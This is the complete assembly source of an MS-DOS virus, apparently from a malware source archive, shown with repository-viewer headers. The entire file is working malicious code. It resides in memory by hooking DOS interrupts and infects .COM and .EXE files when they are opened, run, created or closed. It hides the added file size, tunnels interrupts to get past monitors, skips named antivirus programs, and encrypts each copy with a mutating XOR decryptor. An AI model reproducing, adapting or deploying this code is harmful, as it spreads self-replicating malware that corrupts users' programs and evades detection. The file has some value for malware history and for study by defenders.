MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.horse8.asm

1366 lines
21 KiB
NASM
Raw Normal View History

2021-01-12 23:44:11 +00:00
.radix 16
sub bl,bl
mov cx,offset msg-calldos-2
mov si,offset calldos
cld
lpp:
lodsb
xor bl,al
loop lpp
mov byte ptr [checksum],bl
mov bp,offset adjust
call install1
mov dx,offset Hellomsg
mov ah,9
int 21
int 20
Hellomsg db 0a,0dh,'OK friend...',0a,0dh,'$'
Virus_lenght equ endcode-adjust
alllen equ buffer-adjust
adjust label word
new_addr dd 0
last:
my_count dw 0
checksum db 0
;*******************************************************************
; *
; This is the program entry.... *
; *
;*******************************************************************
Start_Virus:
First_instr label word
old label dword ;
cli
push ax
call nextline
nextline:
popreg label byte
db 01011000b ;pop reg
pushreg label byte
db 01010000b ;push reg
f_g:
db 10000001b ;add reg,value
addtoreg label byte
db 11000000b ;reg
dw offset codedstart-nextline ;value
loadcount label byte
db 10111000b ;mov reg,value
dw offset endcode-Start_Virus ;value
where:
decode:
db 002e ;xor byte ptr cs:[reg+0],value
db 10000000b
xorreg label byte
db 70
db 00
xorvalue label byte
db 00
incmain label byte
db 01000000b ;inc reg
deccount label byte
db 01001000b ;dec reg
jnz decode
codedstart:
pop bp
jmp codedstart1
;**************************************************
; call next *
;next: *
; pop *reg* *
; push *reg* *
; add *reg*,codestart-nextline *
; mov *countreg*,endcode-codedstart *
;decode: *
; xor byte ptr cs:[*reg*+0],xorvalue *
; inc *reg* *
; dec *countreg* *
; jnz decode *
; *
; *reg*=index register,*countreg*=register *
;**************************************************
calldos:
pushf
call dword ptr cs:[old-adjust]
ret
give_him:
push bp
mov bp,sp
push ax
push si ;you can't use this function illegally...
push ds
lds si,[bp+2]
lodsw
sub ax,0C008
jz me
cli
hlt
me:
pop ds
pop si
pop ax
pop bp
cmp byte ptr cs:[last-adjust],0FF ;Already got?
je gotten
cmp byte ptr cs:[f_g-adjust],0FF
jne gotten
all_ok:
mov es,word ptr cs:[where-adjust]
mov byte ptr cs:[last-adjust],0FF
iret
go_out2:
jmp out
gotten:
xchg ah,al
iret
FF_old1:
call calldos
jmp FF_old
FF_new1:
call calldos
jmp FF_new
res:
cmp ax,0FA01h
je give_him
cmp ah,11
je FF_old1
cmp ah,12
je FF_old1
cmp ah,4e
je FF_new1
cmp ah,4f
je FF_new1
cmp ax,4b00
jne go_out2
cmp byte ptr cs:[f_g-adjust],0FF
je go_out2
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push ds
mov ah,62
call calldos
mov ds,bx
cmp bx,[16]
pop ds
jne notthis
call get
mov bx,word ptr cs:[last-adjust]
mov ds,bx
cmp [0001],bx
jb notthis
inc bx
push word ptr [0001]
mov es,bx
mov bx,[0003]
add bx,130
mov ah,4ah
call calldos
pop word ptr [0001]
jnc allok
notthis:
jmp notnow
allok:
mov byte ptr cs:[f_g-adjust],0FF
lds si,cs:[new_addr-adjust]
add si,offset calldos-adjust
sub bl,bl
mov cx,offset msg-calldos-2
cld
check:
lodsb
xor bl,al
loop check
cmp bl,byte ptr cs:[checksum-adjust]
jne notnow
mov ax,0FA01
int 21
or al,al
sub di,di
lds si,cs:[new_addr-adjust]
mov cx,Virus_lenght
push cx
push si
push ds
rep movsb
mov bx,es
pop es
pop di
pop cx
sub al,al
rep stosb
push cs
mov ax,offset notnow2-adjust
push ax
push bx
mov ax,offset Set_Vectors-adjust
push ax
retf
notnow2:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
int 21
db 0ca,2,0 ;retf 2
notnow:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
out:
jmp dword ptr cs:[old-adjust]
get:
push bx
push ds
push es
mov ah,52h
call calldos
mov bx,es:[bx-02]
search:
mov ds,bx
inc bx
add bx,[0003]
mov es,bx
cmp byte ptr es:[0000],'Z'
jne search
mov word ptr cs:[last-adjust],ds
mov word ptr cs:[where-adjust],bx
pop es
pop ds
pop bx
ret
FF_old:
push ax
push bx
push dx
push es
or al,al
jnz Go_Out_ ;if error
mov ah,2f ;get DTA address
call calldos
cmp byte ptr es:[bx],0ff
jne standart
add bx,7
standart:
mov al,byte ptr es:[bx+30d-7] ;Seconds in al
and al,31d ;Mask seconds
cmp al,60d/2 ;Seconds=60?
jne Go_Out_
and byte ptr es:[bx+30d-7],11100000b
mov ax,es:[bx+36d-7]
mov dx,es:[bx+38d-7] ;Check File size
sub ax,Virus_lenght
sbb dx,0
jb Go_Out_
Adjust_Size:
mov es:[bx+28d+1],ax
mov es:[bx+28d+2+1],dx
Go_Out_:
pop es ;Return to caller
pop dx
pop bx
pop ax
iret
FF_new:
pushf
push ax
push bx
push dx ;fuck again
push es
jc Go_Out_1
mov ah,2f
call calldos
mov al,es:[bx+22d]
and al,31d
cmp al,60d/2
jne Go_Out_1
and byte ptr es:[bx+22d],11100000b
mov ax,es:[bx+26d]
mov dx,es:[bx+28d]
sub ax,Virus_lenght
sbb dx,0
jb Go_Out_1
Adjust_Size1:
mov es:[bx+26d],ax
mov es:[bx+28d],dx
Go_Out_1:
pop es
pop dx
pop bx
pop ax ; Dummy proc far
popf ; ret 2
db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long...
endinst label word
codedstart1:
sti
pop ax
install:
sub bp,offset nextline-adjust
install1:
cld ;Clear direction flag
push ax ;Save some registres
push es
push ds
mov ax,0FA01
int 21
or al,al
jz do_dob
jmp install_ok
do_dob:
push es
pop ds
mov ax,[0002]
mov cx,1000
sub ax,cx
mov es,ax
sub di,di
call SearchZero
jc Dont_copy
mov si,bp
mov cx,alllen
db 2e
rep movsb
Dont_copy:
sub ax,ax
mov ds,ax
mov ax,[21*4]
mov word ptr cs:[bp+old-adjust],ax
mov ax,[21*4+2]
mov word ptr cs:[bp+old-adjust+2],ax
mov ah,52
int 21
push es
mov es,es:[bx+14]
push es:[2]
sub di,di
mov si,bp
mov cx,endinst-adjust
db 2e
rep movsb
pop ax
pop ds
mov [bx+14],ax
mov ds,cx
mov [21*4],offset res-adjust
mov [21*4+2],es
jcxz Run_The_Program
install_ok:
cmp ax,01FAh
je Run_The_Program
mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save
mov si,bp
sub di,di
mov cx,alllen
db 2e
rep movsb
push cs
mov ax,Run_The_Program-adjust
add ax,bp
push ax
push es
mov ax,offset Set_Vectors-adjust ;Set vectors
push ax
retf
SearchZero:
sub ax,ax
Again:
inc di
push cx
push di
mov cx,alllen
repe scasb
pop di
jz FoundPlace
pop cx
loop Again
stc
ret
FoundPlace:
pop cx
mov word ptr cs:[bp+new_addr-adjust],di
mov word ptr cs:[bp+new_addr-adjust+2],es
clc
ret
Run_The_Program:
add bp,offset First_18-adjust
pop ds ;Restore saved ds,es,ax
pop es ;ds=es=PSP
pop ax
mov ax,'ZM'
cmp cs:[bp],ax ;Run the infected program
je run_exe
xchg ah,al
cmp cs:[bp],ax
je run_exe
jne Run_COM_File
run_exe:
mov cx,ds ;Calculate load segment
add cx,0010
mov bx,cx
add cx,cs:[bp+16] ;Calculate CS value
add bx,cs:[bp+0e] ;Calculate SS value
mov ss,bx ;Run .EXE program
mov sp,word ptr cs:[bp+10]
push cx
push word ptr cs:[bp+14]
retf
Run_COM_File:
mov di,0100
push di
mov si,bp
movsb ;Restore the first 3 bytes
movsw ;Run .COM program
ret
db '<27><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>!'
INT_21h_Entry_Point:
cmp ah,3ch ;Create (3.X)
je create
cmp ah,5bh
je create
cmp ah,6ch
jne not_create ;Create (4.X)
test bl,1
jz not_create
jnz create
not_create:
call pusha
mov byte ptr cs:[function-adjust],ah
cmp ah,6ch ;Open (4.X)
je create_
cmp ah,3dh
je Function_4Bh
cmp ah,3e ;Close
je close_
cmp ax,4b00 ;Exec
je Function_4Bh
Return_Control:
call popa
Go_out:
jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21
create_:
or bl,bl ;Create file?
jnz Return_Control
mov dx,si
Function_4Bh:
mov ax,3d00h
call Infect_It
jmp Return_Control
create:
cmp word ptr cs:[handle-adjust],0ffff
jne Go_out
call Call_Original_INT_21h
mov word ptr cs:[handle-adjust],ax
jnc Error
mov word ptr cs:[handle-adjust],0ffff
Error:
; retf 2
db 0ca,2,0
close_:
cmp word ptr cs:[handle-adjust],0ffff
je Return_Control
cmp bx,word ptr cs:[handle-adjust]
jne Return_Control
mov ah,45
call Infect_It
mov word ptr cs:[handle-adjust],0ffff
jmp Return_Control
;******************************************
; *
; This infects the programs... *
; *
;******************************************
Infect_It:
call Call_Original_INT_21h ;this is the infecting part
jnc No_error
ret
No_error:
xchg ax,bp
mov ax,0200
push ax
popf
mov byte ptr cs:[flag-adjust],0
mov ah,54
call Call_Original_INT_21h
mov byte ptr cs:[veri-adjust],al
cmp al,1 ;Switch off verify...
jne Go_On_Setting
mov ax,2e00
call Call_Original_INT_21h
Go_On_Setting:
mov ax,3513
call Call_Original_INT_21h
push bx
push es
mov word ptr cs:[current_13h-adjust],bx
mov word ptr cs:[current_13h-adjust+2],es
mov ah,25
mov dx,INT_13h_entry-adjust ;Set int 13h
push cs
pop ds
call Call_Original_INT_21h
mov ax,3524
call Call_Original_INT_21h
push bx
push es
mov ah,25
mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...).
call Call_Original_INT_21h
push cs
push cs
pop ds
pop es
mov dx,offset DOS_13h-adjust
mov bx,dx ;Set New DOS int 13h
mov ah,13
call Call_Original_INT_2Fh
push bx
push es
push dx
push ds
push cs
pop ds
xchg bx,bp
push bx
mov ax,1220
call Call_Original_INT_2Fh
mov bl,es:[di] ;Remember the good old V512 ?
mov ax,1216
call Call_Original_INT_2Fh
pop bx
add di,11
mov byte ptr es:[di-15d],2
mov ax,es:[di]
mov dx,es:[di+2]
cmp ax,3000d
sbb dx,0
jb Not_good
Go_on:
cmp byte ptr cs:[function-adjust],3dh
je Scan_name
cmp byte ptr cs:[function-adjust],6ch
jne Dont_Scan_Name
Scan_name:
push di
add di,0f
mov si,offset fname-adjust ;wasn't that the last opened file?
cld
mov cx,8+3
rep cmpsb
pop di
je Not_good
Dont_Scan_Name:
cmp es:[di+18],'MO'
jne Check_For_EXE ;check for .COM file
cmp byte ptr es:[di+17],'C'
jne Check_For_EXE
jmp com
Check_For_EXE:
cmp es:[di+18],'EX'
jne Not_good ;check for .EXE file
cmp byte ptr es:[di+17],'E'
je Check_For_Valid_EXE
Not_good:
jmp close
Check_For_Valid_EXE:
call Read_First_18
cmp word ptr [si],'ZM'
je Valid_EXE ;check for valid .EXE file
cmp word ptr [si],'MZ'
jne Not_good
Valid_EXE:
cmp byte ptr es:[di+0f],'M' ;MAPMEM
je Not_good
cmp es:[di+0f],'RT' ;TRAPFILE
je Not_good
cmp es:[di+0f],'CS' ;SCAN.EXE
jne go_on_a
cmp es:[di+11],'NA'
je Not_good
go_on_a:
cmp es:[di+0f],'NA' ;ANTI****.*EXE
jne go_on_b
cmp es:[di+11],'IT'
je Not_good
go_on_b:
cmp es:[di+0f],'LC' ;CLEANNEW.EXE
jne low_mem?
cmp es:[di+11],'AE'
je Not_good
Low_mem?:
cmp word ptr [si+0c],0ffff ;only low-mem .EXE
jne Not_good
Low_Mem:
mov cx,[si+16]
add cx,[si+8] ;Something common with EDDIE..
mov ax,10
mul cx
add ax,[si+14]
adc dx,0
mov cx,es:[di]
sub cx,ax
xchg ax,cx
mov cx,es:[di+2]
sbb cx,dx
or cx,cx
jnz Not_Infected_EXE ;infected?
cmp ax,(endcode-Start_Virus)
jbe Not_good
Not_Infected_EXE:
mov ax,es:[di]
mov dx,es:[di+2]
add ax,Virus_lenght
adc dx,0
mov cx,200 ;(C) by Lubo & Jan...
div cx
mov [si+2],dx
or dx,dx
jz OK_MOD
inc ax
OK_MOD:
mov [si+4],ax
mov ax,es:[di]
mov dx,es:[di+2]
mov cx,10
div cx
sub ax,[si+8]
add dx,Start_Virus-adjust
adc ax,0
mov [si+14],dx
mov [si+16],ax
add ax,(Virus_lenght)/16d+1
mov [si+0eh],ax
mov [si+10],100
write:
mov ax,5700
call Call_Original_INT_21h
push cx
push dx
sub cx,cx
mov es:[di+4],cx
mov es:[di+6],cx
mov cl,20
xchg cl,byte ptr es:[di-0dh]
push cx
mov ah,40 ;this writes the first few bytes and glues the virus
mov dx,buffer-adjust
mov cx,18
call Call_Original_INT_21h
call make_mutation
push es
push di
push cs
pop es
mov di,si
sub si,si
mov cx,Virus_lenght
push di
rep movsb
pop di
add di,offset codedstart-adjust
mov al,byte ptr [xorvalue-adjust]
mov cx,offset endcode-codedstart
codeit:
xor byte ptr [di],al
inc di
loop codeit
pop di
pop es
inc word ptr [my_count-adjust]
mov ax,es:[di]
mov es:[di+4],ax
mov ax,es:[di+2]
mov es:[di+6],ax
call Check_For_COMMAND ;(C)
jne Dont_Adjust_Size
sub es:[di+4],Virus_lenght
Dont_Adjust_Size:
mov ah,40
mov dx,offset buffer-adjust
mov cx,Virus_lenght
call Call_Original_INT_21h
pop cx
mov byte ptr es:[di-0dh],cl
pop dx
pop cx
cmp byte ptr cs:[flag-adjust],0ff
je Set_Time_and_Date
exit:
call Check_For_COMMAND
je Set_Time_and_Date
and cl,11100000b
or cl,60d/2
Set_Time_and_Date:
mov ax,5701
call Call_Original_INT_21h
close:
mov ah,3e
call Call_Original_INT_21h
mov si,di
add si,0f
mov di,fname-adjust
push es
pop ds
push cs
pop es
mov cx,8+3 ;save the fname to a quit place
rep movsb
push cs
pop ds
cmp byte ptr cs:[flag-adjust],0ff
jne Dont_Clear_Buffers
mov ah,0dh ;if error occured-clear disk buffers
call Call_Original_INT_21h
Dont_Clear_Buffers:
cmp byte ptr cs:[veri-adjust],1
jne Restore_Vectors
mov ax,2e01
call Call_Original_INT_21h
Restore_Vectors:
pop ds
pop dx
pop es
pop bx
mov ah,13
call Call_Original_INT_2Fh
sub ax,ax
mov ds,ax
pop [24*4+2]
pop [24*4]
pop [13*4+2]
pop [13*4] ;restore vectors and return
ret
com:
test byte ptr es:[di-0dh],4 ;if it is a system file
jnz Not_OK_COM_File ;I had some problems here with
;V1160 & V1776 (with the ball)
cmp es:[di],65535d-Virus_lenght*2-100
ja Not_OK_COM_File
cmp es:[di+0f],'RT' ;TRAPFILE
je Not_OK_COM_File
cmp byte ptr es:[di+0f],'M' ;MV.COM
je Not_OK_COM_File
call Read_First_18
mov ax,[si+10] ;CHECK IF THAT'S A TRAP FILE
cmp ax,[si+12]
je Not_OK_COM_File
cmp byte ptr [si],0E9
jne OK_COM_file
mov ax,es:[di]
sub ax,[si+1] ;infected?
cmp ax,(endcode-Start_Virus+3)
jbe Not_OK_COM_File
OK_COM_file:
mov ax,es:[di]
add ax,Start_Virus-adjust-3
call Check_For_COMMAND
jne Normally
sub ax,Virus_lenght
Normally:
mov byte ptr [si],0E9
mov word ptr [si+1],ax
jmp write
Not_OK_COM_File:
jmp close
Set_Vectors:
sub ax,ax
mov ds,ax
push [1*4]
push [1*4+2] ; <= (C) by N.Hacker.
pushf
pushf
pushf
pushf
mov byte ptr cs:[flag-adjust],ah
mov byte ptr cs:[my_flag-adjust],ah
mov word ptr cs:[limit-adjust],300
mov word ptr cs:[mem_-adjust],org_21h-adjust
mov [1*4],offset trap-adjust
mov [1*4+2],cs
call set_trace
mov ax,3521
call dword ptr [21h*4]
mov word ptr cs:[current_21h-adjust],bx ;get old int 21
mov word ptr cs:[current_21h-adjust+2],es
mov byte ptr cs:[flag-adjust],0
mov word ptr cs:[mem_-adjust],org_2fh-adjust
call set_trace
mov ax,1200
call dword ptr [2fh*4] ;do trace int 2f
mov byte ptr cs:[flag-adjust],0
mov byte ptr cs:[my_flag-adjust],0FF
mov word ptr cs:[limit-adjust],0C800
mov word ptr cs:[mem_-adjust],org_13h-adjust
call set_trace
sub ah,ah
call dword ptr [13h*4] ;do trace int 13
mov byte ptr cs:[flag-adjust],0
mov word ptr cs:[limit-adjust],0F000
mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust
call set_trace
sub ah,ah
call dword ptr [13h*4]
pop [1*4+2]
pop [1*4]
mov [21*4],offset INT_21h_Entry_Point-adjust ;set it
mov [21*4+2],cs
retf
set_trace:
pushf
pop ax
or ax,100
push ax
popf
ret
trap:
push bp
mov bp,sp
push bx
push di
cmp byte ptr cs:[flag-adjust],0ff
je off
mov di,word ptr cs:[mem_-adjust]
mov bx,word ptr cs:[limit-adjust]
cmp [bp+4],bx
pushf
cmp byte ptr cs:[my_flag-adjust],0ff
jne It_Is_JA
popf
jb Go_out_of_trap
jmp It_Is_JB
It_Is_JA:
popf
ja Go_out_of_trap
It_Is_JB:
mov bx,[bp+2]
mov word ptr cs:[di],bx
mov bx,[bp+4]
mov word ptr cs:[di+2],bx
mov byte ptr cs:[flag-adjust],0ff
off:
and [bp+6],0feff
Go_out_of_trap:
pop di
pop bx
pop bp
iret
Call_Original_INT_21h:
pushf
call dword ptr cs:[org_21h-adjust]
ret
Call_Original_INT_2Fh:
pushf
call dword ptr cs:[org_2fh-adjust]
ret
INT_24h_entry:
mov al,3
iret
;**************************
; (C) by N.Hacker. *
; (bellow) *
;**************************
INT_13h_entry:
mov byte ptr cs:[next_flag-adjust],0
cmp ah,2
jne Other
cmp byte ptr cs:[function-adjust],03Eh
jne Dont_hide
dec byte ptr cs:[next_flag-adjust]
inc ah
jnz Dont_hide
Other:
cmp ah,3
jne Dont_hide
cmp byte ptr cs:[flag-adjust],0ff
je no_error_
cmp byte ptr cs:[function-adjust],03Eh
je Dont_hide
inc byte ptr cs:[next_flag-adjust]
dec ah
Dont_hide:
pushf
call dword ptr cs:[current_13h-adjust]
jnc no_error_
mov byte ptr cs:[flag-adjust],0ff
no_error_:
clc
db 0ca,02,0 ;retf 2
DOS_13h:
cmp byte ptr cs:[next_flag-adjust],0
je OK
cmp ah,2
je Next
cmp ah,3
jne OK
Next:
cmp byte ptr cs:[next_flag-adjust],1
jne Read
inc ah
jne OK
Read:
dec ah
OK:
test dl,80
jz Floppy
jmp dword ptr cs:[org_13h-adjust]
Floppy:
jmp dword ptr cs:[Floppy_org_13h-adjust]
Read_First_18:
sub ax,ax
mov es:[di+4],ax
mov es:[di+6],ax
mov ah,3f
mov cx,18
mov dx,buffer-adjust
mov si,dx
call Call_Original_INT_21h
call pusha
push cs
pop es
mov di,offset First_18-adjust
mov cx,18
rep movsb
call popa
ret
Check_For_COMMAND:
cmp es:[di+0f],'OC'
jne Not_COMMAND
cmp es:[di+11],'MM'
jne Not_COMMAND
cmp es:[di+13],'NA'
jne Not_COMMAND ;check for command.com
cmp es:[di+15],' D'
jne Not_COMMAND
cmp es:[di+17],'OC'
jne Not_COMMAND
cmp byte ptr es:[di+19],'M'
Not_COMMAND:
ret
pusha:
pop word ptr cs:[ret_addr-adjust]
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp word ptr cs:[ret_addr-adjust]
popa:
pop word ptr cs:[ret_addr-adjust]
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:[ret_addr-adjust]
make_mutation:
sub ax,ax
mov ds,ax
mov ax,[046C]
or al,al
clc
jnz good_value
inc al
stc
good_value:
push cs
pop ds
mov byte ptr [xorvalue-adjust],al
jnc well_ok
dec al
well_ok:
and al,0111b ;BX,SI,DI,BP
or al,0100b
cmp al,0100b
jne okreg
inc al
okreg:
and byte ptr [popreg-adjust],11111000b
or byte ptr [popreg-adjust],al
and byte ptr [addtoreg-adjust],11111000b
or byte ptr [addtoreg-adjust],al
and byte ptr [incmain-adjust],11111000b
or byte ptr [incmain-adjust],al
and byte ptr [pushreg-adjust],11111000b
or byte ptr [pushreg-adjust],al
call adjustreg
and byte ptr [xorreg-adjust],11111000b
or byte ptr [xorreg-adjust],al
and ah,0011b ;AX,CX,DX
cmp ah,0011b ;00,01,02
jne okreg2
dec ah
okreg2:
and byte ptr [loadcount-adjust],11111000b
or byte ptr [loadcount-adjust],ah
and byte ptr [deccount-adjust],11111000b
or byte ptr [deccount-adjust],ah
mov ax,word ptr [First_instr-adjust]
xchg ah,al
mov word ptr [First_instr-adjust],ax
ret
adjustreg:
cmp al,0011b
je abx
cmp al,0101b
je abp
cmp al,0110b
je asi
mov al,0101b
ret
abx:
mov al,0111b
ret
abp:
mov al,0110b
ret
asi:
mov al,0100b
ret
msg:
First_18:
ret
db 17 dup (?)
endcode label word
current_21h dd ?
current_13h dd ?
org_2fh dd ?
org_13h dd ?
org_21h dd ?
Floppy_org_13h dd ?
flag db ? ;0ff if error occure<72><65>
veri db ?
handle dw ?
fname db 8+3 dup (?)
function db ?
my_flag db ?
limit dw ?
mem_ dw ?
next_flag db ?
ret_addr dw ?
buffer label word